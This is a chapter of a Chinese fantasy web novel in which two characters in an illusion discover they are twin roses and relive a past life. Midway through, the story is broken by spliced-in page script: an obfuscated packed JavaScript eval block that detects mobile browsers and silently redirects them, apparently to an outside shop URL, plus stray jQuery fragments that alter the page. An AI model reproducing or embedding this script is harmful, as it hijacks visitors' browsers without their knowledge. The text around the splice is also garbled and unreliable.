周显人麻了。
还没等他思考,要怎么使她说出具体感受,常小玉就自己交代,她能看清天上帝流浆落下的轨迹。
原来那些流星般的拖尾光点就是帝流浆。
周显想,那他也是啊。
但他没法表达自己的感受。
幸亏常小玉主动问他:“小召,你有没有这种感觉?”虽然按理说召唤物应该不会修炼的,但连她都有种自己灵智大开的感觉,说不定小召也有呢?那常小玉是人,应该不存在开启理智的说法。开启灵智只针对非人物种。
不过,此刻幻境里,她也不是人……
周显立即捏她手,用力那种。以此来表达他对自身有类似变化的震惊。
常小玉一怔。原来小召也感觉到了。又一想,也对,她自己不也是?
她思考几秒,才说:“我推测,应该和我们现在所处的幻境有关。在这里,我们应该就是植物,刚才吸收了帝流浆,所以开启了灵智。”又想一想,“我们手分不开,很可能是,我们是一种并蒂的植物?因为如果是两株,就应该能轻松分开了吧。你觉得呢?小召。”
并蒂?
那这种现象其实非常稀有。
周显一边捏捏她手,给出回应,一边思考。她说的这种可能性确实很大。
但直到此刻,两人还没弄明白,这个幻境到底是要干什么?
*
此时已被幻境淘汰,却仍被困住的顾铭等人,则是集体坐在了草坪上。
司马覃无聊地四处打量:“那两个人居然坚持了这么久?”
该不会是趁机牵手不想出来吧?不过,难道离开幻境就不能牵了吗?
他完全搞不懂是怎么回事。
余承风也觉得无聊。他摸了摸自己裤兜,然后冲半空中秋千上的苏樱喊道:“喂!能不能把我手机给我?”
司马覃眼睛瞪大。居然找敌人要手机?
结果顾铭也抬头:“我的也给我一下。”
齐颂也抬头,没说话,但意思很明显。
秋千上的苏樱:……
说不上来什么感受,就是有一点那种无语,但又不仅仅是无语,似乎又混杂了一些难以名状的不适感……那是她不喜欢上网,假如她经常上网,就会明白,这就是大众俗称的——蛋痛的感觉。
这四个人还是都拿到了自己手机。
司马覃暗戳戳试着拨了一个电话,当然是没信号,提示不在服务区。
余承风像看弱智一样看他。要这样就能求救,那还破除个鬼的幻境。
然后大家各干各的。
顾铭开始看论文,余承风追剧,齐颂居然在打植物大战僵尸。
只有司马覃……
这老实孩子手机里既没有游戏,也没有小说,更没有电影和剧。
他先看了一会儿齐颂打游戏。但僵尸走得太慢,尤其那个拿铁门的,走半天都走不过去,看着实在有些无聊。他又不能直接上手去点人家屏幕。犹豫一下,又去看余承风。
余承风大方分享:“来,一起看。偶像剧。”
看了一会儿感觉自己想冲进去揍人。
女生因为男的被人欺负,那个男的居然质问女方:你为什么不能保护好自己?
司马覃:???不是大哥,这特么你的锅还能甩人家女方身上?没见过这么不要脸的。他要是这女生,先两巴掌扇过去再说。
逼得他心里脏话都出来了。
再看余承风,居然看得津津有味。
最后去看一下顾铭。
反正余承风都看了,也不差顾铭一个。
结果一看,全是英文。
密密麻麻的英文字母,整个屏幕连一个熟悉的单词都找不到。
顾铭看他一眼:“需要给你翻译吗?”
司马覃:翻译毛线啊,这一看就是他不懂的领域。
不过还是淡定摇头:“不。”
最后还是回余承风那儿,一起看那部让人蛋痛的偶像剧。
此时,幻境之中。
常小玉和周显终于弄清了自己是什么。
不为别的,因为他两居然开花了。
“这是……玫瑰吧?”常小玉低头看看自己。这感觉还挺奇怪的。
她清楚的知道自己是常小玉,是召唤师,但她看自己时,却又能清晰的感受到,她此时是一朵粉玫瑰。
就像她的大脑被划分出一块区域,这块区域里全是关于她在幻境里的一切。那些记忆也全部存放在此。比如最开始她被浇水,淋雨时被人保护,发芽,接收帝流浆的洗礼……开启灵智。
再看一下周显,他也是玫瑰。一朵白玫瑰。
并蒂玫瑰——周显想。这真的世间罕见。据说概率是十万分之一。
两人就这事又交换了意见。简单来讲,就是常小玉问,周显给出反馈。
接着,他两发现,那彼此握在一起的手,似乎又有些松动了。
常小玉推断:“我们牵在一起的手,应该就象征我们的根部。我们是并蒂玫瑰,是同株植物,所以手没办法分开。”
周显不等她问,就捏一下她手,表示赞同。
“如果强行分开,那肯定就会被幻境淘汰了。”常小玉笃定地说。
嗯?周显惊讶。
他没想到,她还能得出这个结论。但一细想,其实非常有道理。
理由在于,他们此刻握在一起的手有所松动。那就说明,随着时间的推移,他们是可以自己分开的。在那之前,强行分开必然会带来灭亡。
常小玉又回忆了一下曾经听顾铭提起过的吐纳方式,没有保留的告诉周显。
两个人就这样在幻境里每天修炼。
时间长了,周显竟真的感觉自己,有一点像一朵开启灵智、努力修炼的白玫瑰了。
不知道常小玉是不是这种感觉。
他不知道的是,常小玉是有这种感受。可她的大脑已经自动分区,所以并没像周显那样,越来越感觉自己是一朵玫瑰。
不,应该是她有这种感觉的同时,也没丢失自我。
真正的她就像一个局外人,搬了一把椅子坐在幻境之外,凝视着幻境里的一切。只要她想,幻境里的那个她立即就能反应过来,真正的她只是常小玉。
她以为周显和她处境一样。还不知道,她的小召已经渐渐将自己当成一朵真的玫瑰了。
直到有一天,周显突然开口,说了一句:“我们给自己取个名字吧?”
常小玉一下就愣住了。
“我觉得,是那天的星星让我有了人类的思维。我就叫苏星好了。”
苏星?
常小玉忍不住看他。
此刻的周显,表情祥和,仿佛就如山坡上静静伫立的柔美花朵一般。她还能看清他的脸,却又感觉,自己仿佛看到的,只是一朵纯白的玫瑰花。
“你也给自己取个名字吧。”周显语气温地说,“你就叫我阿星,或者直接叫我苏星也行。”
常小玉意识到,小召明显已经融入幻境之中了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145250|190440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她想了一下,轻声叫他:“小召。”
并用力捏了一下他手。
周显一怔,似在回味什么,过一会儿才说:“我不要叫那个名字。我叫苏星。”
常小玉看他。
一种淡淡的愁绪忽然笼上心头。有一部分是她本身对周显的担忧;而剩下的,是自己这朵玫瑰,在担心并蒂之上的另外一朵。
并蒂玫瑰。一男一女。
此时的她和周显就如亲姐弟一般。
常小玉试着将自己也沉浸于幻境之中。接着她说出了自己的台词:“好。你就叫苏星。”
“那你叫什么?”周显立即问。
“我叫苏樱。”
说完后的她,愣住了。
苏樱?苏会长。
原来她是一朵粉玫瑰。还是并蒂玫瑰的其中一朵。
可是,之前招待他们的只有一个人啊?那苏星去哪儿了?
常小玉现在已经反应过来,这个幻境应该就是苏樱之前经历过的一切。就是不知道为什么要用过去的记忆来打造幻境。
想明白后,她更不慌了。虽然不知道为什么她可以自由抽离幻境。人是没法离开,但她确实不会全身心沉浸其中而忘了自我。
但是,此刻的常小玉决定,就当成一次角色扮演就好。现在的她,就扮演苏樱就行了。
因为只有演,才能让幻境顺利进行。这样就能看见苏樱的过往了。
也因为她的故意配合,幻境果然缓缓推进了时间线。
两朵玫瑰每天勤奋修炼。
女孩子依旧每天来为他们浇水。
直到有一日,她带了一副线手套,端着一个陶土制成的花盆走过来。
“我要嫁人了。你们,能和我一起去吗?”尾音柔得像是要融化在风里。她脸上是浅浅的笑容,端庄却还未完全脱离稚气。
苏念知小心翼翼将这株宝贵的并蒂玫瑰移植到了花盆里。
哦,对了。
他两给自己取名字都带一个“苏”字,就是因为她姓苏。
苏星说,是她让它们发芽,才有机会开启灵智。所以,就跟着她姓吧。
苏念知才刚满十八,但在那个年代已经算结婚晚的了。
她的丈夫也是书香门第,姓程,叫程函之。
一个念知,一个函之,很是登对。
苏念知念过书,起初和程函之还是恩爱过一段时间。
但二十岁岁的程函之向往的不是这种稳定的度日。他要留洋。
一个人去,两个人回。
程函之要离婚。
但两家父母都不允。
他便将气发在温柔体贴的苏念之身上。
妥妥的渣男啊。——常小玉感叹。
他如果仅凭一己之力不牵连他人的离婚,她还高看他一眼。这样靠折磨妻子来达到目的,是真的不要脸。
这个婚终于还是离了。
苏念之是爱丈夫的,也想不通曾经恩爱的对象,为何如今视她为仇敌。父母竟也觉她丢脸,劝她少外出。渐渐地,她就消瘦下去。到最后连吃口饭都变得困难起来。
请来的大夫也摇头,说让准备后事吧。
周显,噢不,是苏星,言辞恳切的请求常小玉:“阿樱,你修为比我厉害,我的妖力都给你。你帮我救一下苏小姐吧?”
幻境之外那个清醒的常小玉默默看着这一幕。
沉浸在幻境里的那个她正准备答一个“好”字。
常小玉开口了:“不好。”